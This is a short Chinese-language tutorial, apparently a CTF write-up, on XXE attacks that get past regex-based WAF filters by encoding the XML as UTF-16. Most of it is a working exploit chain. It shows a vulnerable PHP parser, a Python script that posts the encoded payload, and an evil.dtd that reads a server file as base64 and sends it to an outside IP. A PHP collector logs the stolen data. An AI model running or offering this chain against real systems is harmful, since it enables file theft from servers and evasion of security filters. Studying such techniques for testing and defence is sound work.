XXE介绍与绕过¶
一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。 在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。 外来编码也可用于绕过成熟的WAF,因为它们并不总是能够处理上面列出的所有编码。例如,libxml2解析器只支持一种类型的utf-32 - utf-32BE,特别是不支持BOM。
Exploit¶
我们来看下面这个例子
<?php error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){ die('error'); } if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file(__FILE__);
在这里他把我们能用的过滤了标头<?xml?>
毕竟是可选项,所以可以不用管,至于过滤了但是我们可以通过使用其他编码进行绕过
下面是需要运行的python的内容
import requests url = 'http://url/' payload = """<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://yourVPS/evil.dtd"> %remote;%int;%send; ]> """ payload = payload.encode('utf-16') requests.post(url, data=payload)
index.php
<?php $cookie = $_GET['q']; $myFile = "cookie.txt"; file_put_contents($myFile, $cookie, FILE_APPEND); ?>
evil.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://42.192.137.212/index.php?q=%file;'>">